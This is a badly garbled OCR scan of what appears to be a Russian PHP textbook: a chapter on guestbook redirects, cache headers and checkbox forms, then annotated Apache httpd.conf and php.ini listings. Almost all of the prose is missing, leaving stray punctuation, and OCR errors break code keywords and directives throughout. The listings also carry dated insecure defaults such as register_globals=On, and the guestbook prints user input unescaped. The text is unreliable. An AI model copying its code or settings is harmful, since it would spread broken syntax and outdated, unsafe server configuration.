print "<hr>";
print join("<br>\n", $Result) ;
} else {
// ,
// .
print "<meta http-equiv=ref resh content='0; url=$SCRIPT_NAME'>";

w a i k s i t e o
, . , .
, , , "" . ,
, ,
" ", . "" .
, ,
.

^"
WalkSite 33.2 ,
. , .
15 IV.

33.

501


(, , self-redirect) ,
() . ,
, ? ,
, Web.
. ,
, 30.

http://www.ourserver.ru/book/index.htmi. , , -,
, -, "".
action <form> index.html ( ),

.
, , .
-, .
. ,
. . , ,
, , , .
, . POST, : "
, POST.
( )?" , , , " ".
,
, "". , : " ", "" ,
.
,
GET.
" " ,
. : GET ,

502

V.

URL , , ?,
( ).
~

, GET , , . .
, , .
, , GET.
POST.
, proxy-
, GET, POST.

,
. , ,
, , .
POST,
HTML-, , "". ,
, .
,
" ".
Netscape, , ,
, (
). : URL , "",
, . 33.3 , .
.
] 33.3.
"

// .
$Book=@Unserialize ( join ("", File ("book.dat") ) ) ;
if(!$Book) $Book=array ( ) ;
// , ...
if(@$Go) {
array_unshift ($Book,$Text) ;
$f=f open ("book.dat", "w") ;

33.

503

fwrite ($f , Serialize ($Book) ) ;


f close (5f } ;
// ! . ,
// .
Header ("Location: http: //$HTTP_HOST$REQUEST_URI?" . time ( ) ) ;
exit; // .

<form action=sr .php method=post>


:<br>
<input lype=text iiame=Text><br>

<input type=submit name=Go value="Go!">


</form>
<?foreach($Book as $k=>$v) {?>
<?=$v?>
<hr>

"" URL , 1
1970 ( Unk timestamp). , ,
.
, Location
URL , . "" (, ), , .


,
, ,
" " proxy-, . , .
, "" , . , "" , , .
proxy- , .

504

V.

33.4 ,
, proxy-
. , 4 . , proxy- ( )
" ", .
| 33.4.

: ....................... . ............................................................................................................. ... ....................................................... .!

Header ( "Expires : Mon, 26 Jul 199V 05:00:00 GMT");


//
Header ("Last-Modified: ".gmdateC'D, d M Y H: i: s") . "GMT") ; //
Header ("Cache-Control: no-cache, must-revalidate") ; // HTTP/1.1
Header ("Pragma: no-cache");
// HTTP/1.0

, .

"

, 30, .
.

checkbox
(checkbox ) , Web-. , , ,
,
_=.
, ,
. , . , ,
- , .
, . (hidden) ,
, , , . :
| 33.5.

if(@$Go)

33.

505

foreach ($Known as $k=>$v)


if ($v) echo " $k!<br>";
else echo " $k. <br>";

<form action=lang.php method=post>


?<>
<input type=hidden name=Known[PHP] value=0>
<input type=checkbox name= Known [PHP] value=l>PHP<br>
<input type=hidden name=Known[Perl] value=0>
<input type=checkbox name=Known[Perl] value=l>Perl<br>
<input type=submit name=Go value="Go!">
</form>
, - ,
Known [ ]=, , $Known
. , ,
Known [ ] =1, ""
.
33.5,
, " ",
, "". .
^~

,
POST, , . , "" (
-).

VI

4\
iui

"'''

- '<-
\_ ''is


Apache httpd.conf

Apache httpd.conf .

~~)

1.1
Apache, II . -
Apache 4, ,
httpd . conf .

httpd.conf. ,
Apache.
. # . .

, . Apache . - <>, , , ,
</>. ( ) .
, , .htaccess, .
, httpd.conf.

, Apache.
| 1.1. Apache httpd . conf

i NSCA,
# .

#
# Apache, ,

510

VI.

# .
# http://www.apache.org/docs/.

#
# .
#
I .
# . , .

#
# httpd.conf
# :
# :/Program Files/Apache Group/Apache/conf/srm.conf,
I :/Program Files/Apache Group/Apache/conf/access.conf,
# ResourceConfig
# / AccessConfig.

# :

#
# 1. , Apache (
#

).

# 2. , "" ,
if

" ", ,

it

# 3. ,
#
it

Web - Apache,
IP- .

#
#
# ( "" "",
# , , ,
# ).
# , ,
# / ( ":/" Win32),
# .
# "/",
# ServerRoot. , logs/foo.log ServerRoot,
# /usr/local/apache,
# /usr/local/apache/logs/too.log.

1. Apache httpd.conf

51 1

f :
tt (. . : /apache c:\apache) .
# , ,
# Apache.exe; , , ,
# .

it
### 1:

#
# Apache, ,
# , , ,
# .

# ServerType inetd standalone.


# inetd Unix.
ServerType standalone
#

# ServerRoot : ,
I , .
#

# !
ServerRoot ": /Program Files/Apache Group/Apache"
#

# PidFiie: ,
# .
PidFile logs/httpd.pid

# ScoreBoardFile : ,
# . .
I ( ,
# , Apache) , ,
# Apache
# .
ScoreBoardFile logs/apache_runtime_status

512

VI,

#
i
# httpd.conf, srm.conf access.conf ( ).
# ,
# ,
# (htt-pcl. conf) .
# .
# ,
# "". ,
# , /dev/null (
# Unix) nul ( Win32).
#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf

#
# Timeout: ,
# -.
Timeout 300
#
# KeepAlive: ,
# (persistent connections) (..
# ). Off.
KeepAlive On
if
# MaxKeepAliveRequests: ,
# . ,
#
# .
MaxKeepAliveRequests 100
#
# KeepAliveTimeout:
# .
KeepAliveTimeout 15
#
# Apache Win32

1.

Apache

httpd.conf

513

# . - ,
# .
# .
# .
#

# MaxRequestsPerChild: ,

# .
# ,
# , Apache ( ) ,

# .
# , (, Solaris)
# . , Win32
# 0 ( ) .
#
MaxRequestsPerChild

# ThreadsPerChild: (..
# ) , .
# (

# , )
# , .
#
ThreadsPerChild 50
#
# Listen: Apache IP, /
# , , . .
# <VirtualHost>.
ft
ttListen 3000
#Listen 12.34.56.78:80
tt
# BindAddress:
# . IP,
# . *, IP
I . . <VirtualHost> Listen.

514

VI.

tBindAddress *

# (DSO, Dynamic Shared Object)

if
# ,
# DSO,
# LoadModuleTorfla
# .
# DSO
I README. DSO Apache 1.3,
# 'apache -1',
# ( )
# Apache .

# : , ,
# .
# .

#
#LoadModule anon_auth_module modules/ApacheModuleAuthAnon.dll
#LoadModule dbm_auth_module modules/ApacheModuleAuthDBM.dll
#LoadModule digest__auth_module modules /ApacheModuleAuthDigest . dll
#LoadModule cern_meta_module modules /ApacheModuleCERNMeta.dll
#LoadModule digest_module modules/ApacheModuleDigest .dll
#LoaoWodule expires_module modules/ApacheModuleExpires .dll
#LoadModule headers_module modules/ApacheModuleHeaders .dll
lLoadModule proxy_module modules/ApacheModuleProxy.dll
#LoaoModule rewrite_module modules/ApacheModuleRewrite.dll
#LoadModule speling_module modules/ApacheModuleSpeling.dll
tLoadModule info_module modules/ApacheModulelnfo.dll
ILoadModule status_module modules /ApacheModuleStatus .dll
#LoadModule usertrack_module modules /ApacheModuleUserTrack. dll

# ExtendedStatus , Apache
# (ExtendedStatus On)
# (ExtendedStatus Off)
# server-status. Off.

1. Apache httpd.conf

515

ft
ttExtendedStatus

On

### 2:

fl
# , "
# ", ,
# .
# <VirtualHost>,
# .

#
#
# <VirtualHost>;
# .

tt ServerType ( "
t ") inetd,
# ,
# inetd. ServerAdmin.
#

# Port: , .
#

Port 80

I ServerAdmin: ,
# .
# , , ,
t

ServerAdmin you@your.address

# ServerName , ,
I , (,
# www ).

516

VI.

# : ,
# . , ,
# DNS .
I
# .
# DNS,
# IP.
# (, http://123.45.67.89/)
# .
It
ServerName localhost

#
#
#
#
#

DocumentRoot: , (..
Web-) . , ;

(links) (aliases) .

DocumentRoot "z : /home/localhost/www"

# , Apache ,
# ,
# / ( ! .
#
# " " .
if
<Directory z:/>
Options Indexes Includes
AllowOverride All
allow from all
</'Directory>
#
#
#
#
#

,
, , , -
, , ,
.

1. Apache httpd.conf

517

#
# ,
# DocumentRoot.
#
tt<Directory "z:/home/localhost/www">;

tt
# None, All
# Indexes, Includes, FollowSymLinks, ExecCGI MultiViews.
#

# , MultiViews # Options All .


#
#
Options Indexes FollowSymLinks MultiViews

#
# ,

# .htaccess. All
# Options, Filelnfo, AuthConfig Limit.
#
#
AllowOverride None

# , ,
# .
I
tt Oraei i J.GW, deny
!
#
Allow from all
#</Directory>

#
t
t
#
t
#
#
I
#

UserDir: ,
-user
(, http://www.server.com/~username).
Win32 '
, ,
.

518

VI.

<IfModule mod_userdir.>
UserDir

":/Program Files/Apache Group/Apache/users/"

</IfModule>

*f

# Directorylndex: ( ),
# - .
# , .
ft
<IfModule mod_dir.c>
Directorylndex index.htm index.html
</IfModule>
tt
# AccessFileName: ,
.
ft
AccessFileName .htaccess
#
# .htaccess
t Web-. .htaccess
# , .
# ( ),
# ,
f .htaccess Web. AccessFileName
# , .
#
<Files ~ "\.">
Order allow,deny
Deny from all
</Files>

#
# CacheNegotiatedDocs: Apache
# "Pragma: no-cache", proxy-
# . ,
# proxy-
# .

1. Apache httpd.conf

519

tt
#CacheNegotiatedDocs
#
I UseCanonicalName: ( 1.3.)
# (On), , Apache
# (self-referencing URL, .. ,
# ), " "

# ServerName Port, .
# (Off), Apache
# , .
# SERVER_NAME SERVER_PORT CGI-.
#
UseCanonicalName On
#
tt TypesConfig mime.types
# ( ).
11
<IfModule mod_mime.>
TypesConfig conf/mime.types
</IfModule>

tt DefaultType MIME-,
# - ,
# , , .
I HTML-, text/plain
I .
# ,
tt application/octet-stream,
# .
tt
DefaultType text/plain
tt
# mod_mime_magic
# .
# MIMEMagicFile , .

520

VI.

I mod_mime_magic (
# LoadModule - . DSO
# " ",
# ) , MIMEMagicFile
# <IfModule>. , ,
# mod mime magic .

#
<IfModule mod_mime_magic . >
MIMEMagicFile conf/magic
</IfModule>

it
# HostnameLookups ,
# , IP, .. www.apache.org (On)
# 204.62.129.132 (Off) . Off,
tt ,
# , , .. ,
#
# IP- .

#
HostnameLookups Off

#
# ErrorLog: .
# ErrorLog <VirtualHost>,
# , ,
# .
# .

#
ErrorLog logs/error . log

# LogLevel : ,
# error.log. :
# debug, info, notice, warn, error, crit, alert, emerg.

-ft
LogLevel warn

1. Apache httpd.conf

521

#
# ,

# CustomLog (, ).
#

LogFormat "%h %1 tu it \"%r\" >s sb \"%{User-AgenLii\"" combined


LogFormat "%h %1 %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
#

# ().
I - <VirtualHost>,
# . -
# , ,
# .
#

CustomLog logs/access.log common


#

# , (referer logfiles
# agent), .
#

ttCustomLog logs/referer.log referer


tCustomLog logs/agent.log agent

# - ,
# ( -),
i .
ttCustomLog logs/access.log combined

# ,

# ,
# ( , FTP,
# mod_status mod_info, CGI-).
# mailto:, ServerAdmin,
tt EMail.

522

VI.

# : On | Off | Email

#
ServerSignature On

it
#
#
#
#
#
#
#

Apache CGI-.
: !#),
(!) , ,
-,
, Apache .
, perl-, perl.exe
C:\Program FilesXPerl, :

# !:/program files/perl/perl
#
#
#
#
#
#
#
#
#
#
#
#

: (#).
,
. ,
CGI , ScriptAlias
Options ExecCGI.
, Apache Windows ""
.

, , ,
, .
.

#
# . ,
# Apache .
# , Apache ""
# . , Apache 2.0.
tt
# Windows ,
# , "" ,
# :

ScriptInterpreterSource registry
#

1. Apache htipd.conf

523

# <Directory>
# .htaccess registry
# ( Windows) script ( "" ,
I Unix). ,
# , .

#
#
# : (
# ).
# : Alias _

#
<IfModule mod_alias.c>
i ,
# "", URL. ,
# /icons , /icons/.

#
Alias /icons/ ":/Program Files/Apache Group/Apache/icons/"
<Directory "C:/Program Files/Apache Group/Apache/icons">
Options Indexes MultiViews
AllowOverride

None

Order allow,deny
Allow from all
</Directory>

#
# ScriptAlias: ,
# . ScriptAlias' ,
I , ,
# " "
# , .
tt ScriptAlias
# /, Alias.

#
ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/"
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
</IfModule>
tt .

524

__

VI.

#
# Redirect ,
# ,
# . .
S

# : Redirect _ _

# , .
#
<IfModule mod_autoindex. c>
#

# Fancylndexing ,
# "".

# IndexOptions . .
#
IndexOptions Fancylndexing

#
# Addlcon* ,

# .
# Fancylndexing.
#

AddlconByEncoding (CMP, /icons/compressed. gif) x-compress x-gzip

AddlconByType (TXT, /icons/text .gif ) text/*


AddlconByType (IMG, /icons/image2 .gif ) image/*
AddlconByType (SND, /icons/sound2 .gif ) audio/*

AddlconByType (VID, /icons/movie. gif } video/*


Addlcon /icons/binary. gif .bin .exe
Addlcon /icons/binhex.gif .hqx
Addlcon /icons /tar .gif .tar
Addlcon /icons /world2.gif .wrl .wrl.gz . vrml . vrm . iv
Addlcon /icons/compressed. gif .Z .z .tgz .gz .zip
Addlcon /icons/a. gif .ps .ai .eps
Addlcon /icons/layout .gif .html . shtml .htm .pdf
Addlcon /icons/text. gif . txt

1. Apache httpd.conf

525

Addlcon /icons/c.gif .
Addlcon /icons/p.gif .pi .py
Addlcon /icons/f.gif .for
Addlcon /icons/dvi .gif .dvi
Addlcon /icons/uuencoded. gif . uu

Addlcon /icons/script .gif , conf . sh .shar .csh . ksh . tcl


Addlcon /icons/tex.gif . tex
Addlcon /icons/bomb. gif core
Addlcon /icons/back. gif ..
Addlcon /icons/hand. right. gif README
Addlcon /icons/folder. gif ^DIRECTORY""
Addlcon /icons/blank. gif 1

# Defaultlcon
# .
#
Defaultlcon /icons/unknown. gif

I AddDescription
# ( ) , .
# Fancy Indexing .
#

# : AddDescription "_" . __
#
#AddDescription "GZIP compressed document" . gz
#AddDescription "tar archive" .tar
ttAddDescription "GZIP compressed tar archive" . tgz
tt
# ReadmeName README- ,
# .
I
# HeaderName ,
I .
tt
# MultiViews Options,

526

VI.

# . html
# , . . html ,
#
# -txt .
#
ReadmeName README
HeaderName HEADER
#
ft Indexlgnore ,
# .
# shell.
Indexlgnore . ??* *~ *# HEADER* README* RCS CVS *,v *,t

</IfModule>
# .
tt
# .
#
<IfModule mod mime. c>

# AddEncoding
# (Mosaic/X 2.1+) " ".
# : .
# , Add*
# Fancylndexing,
# .
#
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
#
It
# AddLanguage .
# (content negotiation)
# , () .
#
# 1 :

1. Apache httpd.conf

527

# ,
# ( pi),
# AddLanguage pi .
# Perl.
#
# 2: ,
I
# .
I , "/da" "/dk".

it
# 3: Itz RFC,
# . . ,
# , RFC1766 .

# :
# (Danish) da; , (Dutch) nl;
# (English) en; (Estonian) ;
# (French) fr; (German) de;
tt (Greek-Modern) el; (Italian) it;
# (Portuguese) pt;
# (Luxembourgeois*) Itz;
I (Spanish) es; (Swedish) sv;
# (Catalan) ca; (Czech) cz;
# (Russian) ru.

*
AddLanguage da .dk
AddLanguage nl .nl
AddLanguage en .en
AddLanguage.et .
AddLanguage f r .f r
AddLanguage de .de
AddLanguage el .el
AddLanguage he .he
AddCharset ISO-8859-8 .iso8859-8
AddLanguage it .it
AddLanguage j a .j a
AddCharset ISO-2022-JP .jis
AddLanguage kr .kr
AddCharset ISO-2022-KR .iso-kr

528

VI.

AddLanguage no .no
AddLanguage pi .po
AddCharset ISO-8859-2 .iso-pl

AddLanguage
AddLanguage
AddLanguage
AddLanguage

pt .pt
pt-br .pt-br
Itz .lu
ca .ca

AddLanguage es .es
AddLanguage sv .se

AddLanguage cz . cz
AddLanguage ru .ru
AddLanguage tw .tw
AddCharset Big5

.Big5

. big5

AddCharset WINDOWS-1251 .cp-1251


AddCharset CP866

.cp866

AddCharset ISO-8859-5

.iso-ru

AddCharset KOI8-R

.koi8-r

AddCharset UCS-2

.ucs2

AddCharset UCS-4

.ucs4

AddCharset UTF-8

.utf8

I LanguagePriority
# .
#
# , .
# .

<IfModule mod_negotiation.c>
LanguagePriority en da nl fr de el it ja no pi pt ru ca es sv tw
</IfModule>

#
# AddType mime.types, ,
# .
#
# , (
# Apache), :
#
#AddType application/x-httpd-php3 .php3

1. Apache httpd.conf

529

# AddType application/x-httpd-php3-source .phps

tt
# PHP 4.x :

#
AddType application/x-httpd-php .php
I AddType application/x-httpd-php-source .phps
# ,
tt :

#
ScriptAlias /_php/ ":/Program Files/PHP4/"
Action application/x-httpd-php

"/_php/php.exe"

AddType application/x-tar .tgz

# AddHandler
# .
# ,

# Action (. ).

#
t ,
tt (SSI server side includes),
I :
#

# CGI tt

AddHandler cgi-script .bat .exe .cgi


#

# HTML-,
tt (server-parsed HTML files):
#

AddType text/html

.shtml

AddHandler server-parsed .shtml .html .htm


#

# , Apache
# ,

VI.

530

# HTTP (send-asis HTTP file).


i
# AddHandler send-as-is asis

it
# -,
# , :
#
# AddHandler imap-file map
tt
# (type maps, .
tt ), :
#
# AddHandler type-map var

</IfModule>
# .
tt
# Action , ,
# .
# URL
# CGI-.
# : Action _ /_/
tt Action
/
/ /
#
t?
#
#
#
#
#

MetaDir: , Apache
. HTTP,
.
MetaDir .web

# MetaSuffix , .
#
# MetaSuffix .meta

1. Apache httpd. conf

531

tt
# ( Apache)
# .

I 1)
tt ErrorDocument 500 " --!"
tt : ,
#
.
I
tt 2)
#
:
I
ErrorDocument 404 /missing.html
It
, ,
t
:
#
ErrorDocument 404 /cgi-bin/missing_handler.pi
tt
# 3)
#
ErrorDocument 402 http://some.other_server.com/info.html
tt , ,
#
.

#
# , .
tt
<IfModule mod_setenvif.c>
#
#
tt (keepalives) "" HTTP.
# Netscape 2.x , "",
# Netscape (
# ; . Microsoft Internet
t Explorer 4.0b2, /1.1
I keepalive,
t 301 302 ().
#
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0

183. 699

532

VI.

tf

# /1.1 ,
# /1.0
# 1.1.
#
BrowserMatch "RealPlayer 4\.0" force-response-1 .
BrowserMatch "Java/l\.0" force-response-1. 0
BrowserMatch "JDK/lVO" force-response-1 . 0

f , .
#

# ,
# URL http: //servername/server-status .
# . your_domain. com.

#
# <Location /server-status>

SetHandler server-status

Order deny, allow

Deny from all

Allow from . your_domain. com

# </Location>

#
#

# http: //servername/server-info (,
# mod_info.c) . . your_domain . com .
#
ri ^Location /server -info>

SetHandler server-info

Order deny, allow

Deny from all

it

Allow from .your domain.com

# </Location>

# ,
# Apache. CGI-,

1. Apache httpd.conf

533

i Apache.
# ,
# phf.apache.org.
# , support/phf_abuse_log.cgi.
#

# <Location /cgi-bin/phf*>
I

Deny from all

ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi

# </Location>

# proxy-.
#
# <IfModule mod_proxy.c>
# ,

# proxy.
# ProxyRequests On
# <Directory proxy:*>
#

Order deny,allow

tt Deny from all


#

Allow from .your_domain.com

# </Directory>
#

# / HTTP/1.1 Via:.
# : Off I On I Full I Block. Full
# , Block
tt Via:.
#
# ProxyVia On

#
#
#
#
t
#
i


(
CacheRoot):
CacheRoot ":/Program Files/Apache Group/Apache/proxy"
CacheSize 5

VI.

534
# CacheGdnterval 4
# CacheMaxExpire 24
# CacheLastModifiedFactor

0.1

I CacheDefaultExpire 1
# NoCache a_domain.com another^domain.edu joes.garage_sale.com
I </IfModule>
ft proxy-.
### 3:
#

# VirtualHost:
# , VirtualHost.
# ,
# http://www.apache.org/docs/vhosts/.
# -S
# .
#

# (name-based
# virtual hosts),
I IP ( ).
I

NarneVirtualHost

127.0.0.1:80

# VirtualHost:
# VirtualHost
# Apache.
#

# <VirtualHost ip.address.of.host.some_domain.com>
#

ServerAdmin webmaster@host.some_domain.com

tf

DocumentRoot /www/docs/host.some_domain.com

it

ServerName host. some_domain. com

ft ErrorLog

logs/host.5ome_domain.com-error_iog

#
CustomLog logs/host.some domain.corn-access log common
ft </VirtualHost>
# <VirtualHost _default_:*>
# </VirtualHost>

1. Apache httpd.conf
# ,
tt .
#

localhost

<VirtualHost localhost>
ServerAdmin webmaster@localhost.ru
ServerName localhost
DocumentRoot "z:/home/localhost/www"
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
ErrorLog z:/home/localhost/error.log
CustomLog z:/home/localhost/access.log common
</VirtualHost>
#

hacker

<VirtualHost hacker>
ServerAdmin webmaster@hacker.ru
ServerName hacker

DocumentRoot "z:/home/hacker/www"
ScriptAlias /cgi/ "z:/home/hacker/cgi/"
ErrorLog z:/home/hacker/error.log
CustomLog z:/home/hacker/access.log common
</VirtualHost>
#

cracker

<VirtualHost cracker>
ServerAdmin webmaster@cracker.ru

ServerName cracker
DocumentRoot "z:/home/cracker/www"
ScriptAlias /cgi/ "z:/home/cracker/cgi/"
ErrorLog z:/home/cracker/error.log
CustomLog z:/home/cracker/access.log common
</VirtualHost>
# Apache.

535


PHPphp.ini
2, , , PHP php. ini.

2.1 Windows, II . , ,
( php.ini-dist)
, Apache.

Apache, : httpd.conf .htaccess. Apache,


, =. , , :
php_value name value
, name=value php. ini.
php_f lag name on I off

, .
, php. ini:
auto_prepend_file=top. html

httpd.conf .htaccess :
php_value auto_prepend_f ile=top.html

.
IV . -,
- , , , , : http://www.php.net.

2. php.ini

537

| 2.1. php. ini


[PHP]

; ;
.
, 'php.ini'.
, ,
PHPRC, , , ,
( ).
Windows , ,
Windows (
c:\windows). ,
'php.ini', -
.
. ( , ,
. .), , (;)
( , , ).
(, [Foo]) , , ,
.
:
directive=value
foo=bar

, F00=bar.
value , , (,
E_ALL _1), INI- (On, Off, True, False, Yes, No
None), (, E_ALL & ~E_NOTICE),
("foo").

, :
|
(OR)
&
(AND)
(NOT)
!
(NOT)

VI.

535

""
1, On, True Yes. "" 0, Off,
False No.
, " "
, None:
foo=

; foo

foo=none

foo="none"

; foo ''


-
( Zend),
, .
php.ini-dist
. php.ini ,
, .

; Apache.
engine=0n
; <?.
; <? <script>.
short_open_tag=0n
; <% %> - ASP.
asp_tags=0ff
; ,
; .
precision=14
; ( 2000 ,
; ,
; )
y2k_compliance=0ff

2. PHP php. ini

539

. (
Cookies) . ,
.

,
:
output_buffering=0ff
; ,
; .
; flush
; print() echo() HTML-.
; ,
; .
implicit_flush=0ff
,
.
, , ,
PHP/Zend.
,

. , Off
, - . ,
,
. ,
,
,
allow_caIl_t ime_pa ss_reference=0n
;
s a f e__mode=0 f f
safe_mode_exec_dir=
;
; "" .
; .
; ,
; .

540

VI.

;
; , _ (,
; PHP_FOO=something).
; : ,

; !
safe_mode_allowed_env_vars=PHP_
;
; ,
; putenv().

; ,
; .
safe_mode_protected_env_vars=LD_LIBRARY_PATH
;
; . ,
; . ,
; !
disable_functions=
; . ,
; <font color=???>, .
highlight.string=#DDOOOO
highlight.comment=#FF8000
highlight.keyword=#007700
highlight.bg=#FFFFFF

highlight.default=#OOOOBB
highlight.html=#000000

,
X-Powered-by , , , ,
.
, ,
, .
expo s e_php=0n

2. PHP php. ini

541

; ;

; .
; , .
max_execution_time=30
; , (8MB)
memory_limit=8M

; ;

error_reporting
. ,
I
E_ALL

(OR):

- .

E_ERROR

- .

E_WARNING

- .

E_PARSE

- .

E_NOTICE

- (
, , ,

, ,
).
- .

E_CORE_WARNING
COMPILE ERROR

- .

E_COMPILE_WARNING

- .

E_USER_ERROR

- .

E_USER_WARNING

- .

E_USER_NOTICE

- .

- .

:
,
error_reporting = E_ALL & ~E_NOTICE

error_reporting=E_COMPILE_ERRORIE_ERRORIE_CORE_ERROR
,

542

VI.

error_reporting= E_ALL
.

(. ).
display_errors ""
: , ,
. .
dispiay_errors=On
; display_errors , ,
; , .
; , ,
; .
display_startup_errors=Off
; .
; , stderr
; error log, .
; ,
; , .
log_errors=Off
;
; $php_errormsg
track errors=0n
; , .
;error_prepend_string="<font color=ff0000>"
; , .
;error_append_string="</font>"
; , .
; error__log=f ilename;
; , .
;error_log=syslog
; , + .
warn_plus_overloading=0ff

2. PHP php. ini

543

; : track_vars , 4.0.3.
; ,
; , GET, POST,
; (,
; G, , , S, , EGPCS GPC) .
; ,

; .
variables ordei="EGPCS"
; EGPCS-
; . , ,
; "" .
; , track_vars
; GPC- $_??? _VARS .
; ,
; register_globals .
; , , ,
; ,
; .
register_globals=On
; ,
; Sargv $argc , GET.
; , register__argc__argv
; .
register_argc_argv=0n
; POST, .
post_max_size=8M
; variables_order .
order="GPC"
; :
; GET/POST/Cookie
magic_quotes_gpc=0ff

544

VI.

; , ,
; SQL, exec . .

magic_quotes_runtime=0ff
; Sybase-style ( '

; '', \')
magi c_quotes_sybase=0ff
; ,
; .
auto_prepend_file=
auto_append_file=
; 4.04,
; Content-type. ,
; . .
; text/html .
default_mimetype="text/html"
;default charset="iso-8859-l"

; ;

; UNIX: "/pathl:/path2".
; Windows: "\pathl;\path2"
include_path=
; PHP-.
; , "".
doc_root=
; ,
; /-username. He , "".
user_dir=
; , .
extension_dir=C:/Program Files/PHP4/extensions

2. PHP php.ini

545

; dl().
; dl() Web-,
; , ] 71], v. .
enable dl=0n

; ;

;
file_uploads=0n
; ,
; ( ,
; )
; upload_tmp_dir=
;
upload max_filesize=2M

; ;

, - ,
extension :
extension=modulename.extension
, Windows:
extension=msql.dll
UNIX:
extension=msql.so
, .
, ,
extension_dir, .
Windows
: MySQL ODBC ,
DLL.
extension=php_cpdf.dll

546

VI.

; extension=php_cybercash. dll
;extension-php db.dll
;extension=php -dbase.dll
;extension=php_domxml.dll
;extension=php_dotnet.dll
;extension=php_exif.dll
;extension=php_fdf.dl1
extension=php_gd.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
;extensjon=php imap.dll
;extension=php_interbase.dll
;extension=php Java.dll
;extension=php_ldap.dll
;extension=php_mhash.dll
;extension=php_mssq!65.dll
;extension=php_mssql70.dll
;extension=php_oc18.dll
;extension=php_oracle.dll
;extension=php_pdf.dll
;extension=php_pgsql.dll
;extension=php_sablot.dll
;extension=php_swf.dll
;extension=php_sybase_ct.dll
;extension=php_zlib.dll

; ;

[Syslog]
; Syslog,
; $LOG_PID, $LOG_CRON . .
; .
;

; define_syslog_variables().
define_syslog_variables=Off
[mail function]

2. PHP php.ini
; Win32 SMTP-.
SMTP=mail.dklab.ru
; Win32 From: ,
sendmail frorr,= dk@dkJab.ru
; UNIX sendmail (
; 'sendmail -t -i').
;sendmail_path=
[Debugger]
debugger.host=localhost
debugger.port=7 8 6 9
debugger.enabled=False
[Logging]
; -.
; . examples/README.logging.
;logging.method=db

;logging.directory=/path/to/log/directory
[Java]
; "i . 1, ass . path=. \php Java . jar
;java.home=c:\jdk
;Java.library=c:\jdk\jre\bin\hotspot\jvm.dll
;Java.library.path=.\

[SQL]
sql.safe_mode=0ff
[ODBC]
;uodbc.default_db=Not yet implemented
;uodbc.defauit_user=Not yet implemented
;uodbc.default_pw=Not yet implemented
;
uodbc.allow_persistent=0n
; ,
uodbc.check persistent=On

547

VI.

548

; , . -1 , .
uodbc.max persistent=-l

; LONG-.
uodbc.defaultlrl=4096
; . passthru, 1 -
; as is, 2 - ,
uodbc.defaultbinmode=l
; . odbc binmode odbc longreadlen
; uodbc.defaultlrl
; uodbc.defaultbinmode.
[MySQL]
mysql.allow_persistent=0n
mysql.max_persistent=-l
mysql.max_links=-l
; mysql_connect(). ,
; $MYSQL_TCP_PORT mysql-tcp
; /etc/services,
; MYSQL_PORT ( ). Win32
; .
mysql.default_port=
; MySQL. ,
; ,
mysql.default_socket=
; mysql_connect()
).

mysql.default_host=
; ( ).
mysql.default user=

2. PHP php.ini

549

( ).
: .
, ,
:
echo cfg_get_var("mysql.default_password")
, ,
php.ini.
mysql.default_password=
[mSQL]
msql.allow_persistent=0n
msql.max_persistent=-l
msql.max_links=-l

[PostgresSQL]
pgsql.allow_persistent=0n
pgsql.max_persistent=-l

pgsql.max_links=-l
[Sybase]
Sybase.allow_persistent=0n
sybase.max_persistent=-l
Sybase.max_links=-l
;sybase.interface_file="/usr/Sybase/interfaces"
; .
sybase.min_error_severity=10
; .
sybase.min_message_severity=10
; 3.0.
; On, PHP
; Sybase, ,
; .
; , , ,
; , .
Sybase.compatability_mode=0ff
[Sybase-CT]
sybct.allow_persistent=0n

550

VI.

sybct.max_persistent=-l
sybct.max_links=-l
sybct.min server severity=10
sybct.min_ciient_severity-10
[bcmathl
; bcmath-.
bcmath.scale^O
[browscap]
;browscap=extra/browscap.ini
[Informix]
ifx.default _host=
ifx.default userifx.default_password=
ifx.allow_persistent=On
ifx.max persister.t=-l
ifx.max links=-l
; On, select
; text blob .
ifx.textasvarchar=0
; select byte
; .
ifx.byteasvarchar=0
; PHP char
; . Informix SE.
ifx.charasvarchar=0
; F,<~:.f! , text byte ,
; , ,
ifx.blobinfile=0
; 0, NULL ,
; 'NULL'.
ifx.nullformat=0

2. PHP php.ini

55)

[Session]
; .
session.save _handler=files
; , save_handler-y.
; ,
; .
session.save path=C:\Program Files\PHP4\sessiondata
; Cookies,
session.use_cookies=l
session.name=PHPSESSID
; .
session.auto start=0
; Cookie . , 0.
session.cookie lifetime=0
; Cookie ,
session.cookie_path=/
; Cookie ,
session.cookie_domain=
; , . php
; ,
session.serialize_handler=php
; , ,
; , " " ,
; ,
session.gc_probability=l
;
; .
session.gcjnaxlifetime=1440
; HTTP Referer , ID

552

VI.

; "".
session.referer_check=
; , ,
session.entropy_length=0
;session.entropy_length=16
; , .
session. entropy__f ile=
;session.entropy file=/dev/urandom
; nocache, private, public
; HTTP,
session.cache_limiter=nocache
;
;
session.cache_expire=180
; "" SID. ,
; enable-trans-sid.
session.use_trans_sid=l
[MSSQL1
;extension=php_mssql.dll
mssql.allow_persistent=0n
mssql.max persistent=-l
mssql.max__links=-l
mssql.min_error_severity=10
mssql.min_message_severity=10
; 3.0.
mssql.compatability_mode=0ff
[Assertion]
;assert.active=0n
;
; .
;assert.warning=0n

2. PHP php.ini

553

; .
;assert.bail=0ff
; , .
;assert.callback=0
; eval
; error_reporting. true, ,
; error_reporting(0)

; eval().
;assert.quiet_eval=0
[Ingres II]
Ingres.allow_persistent=0n
Ingres.max_persistent=-l
Ingres.max_links=-l
; (: [node_id::]dbname[/srv_class]
Ingres.default_database=
Ingres.default_user=
Ingres.default_password=
[Verisign Payflow Pro]
pfpro.defaulthost="test.signio.com"
pfpro.defaultport=4 4 3
pfpro.defaulttimeout=30
; IP- proxy- ( ).
; pfpro.proxyaddress=
; proxy-
; pfpro.proxyport=
; proxy-
; pfpro.proxylogon=
; proxy-
; pfpro.proxypassword=

sou

w w w . s o f t l i n e . r u

117036 . ,
. , . 4
.: (095) 232-0023
e-mail: info@softline.ru



SoftLine?
, . .
- .
SoftLirie-direct
www.softline.ru
SoftLine
.


, SoftLine?

Microsoft
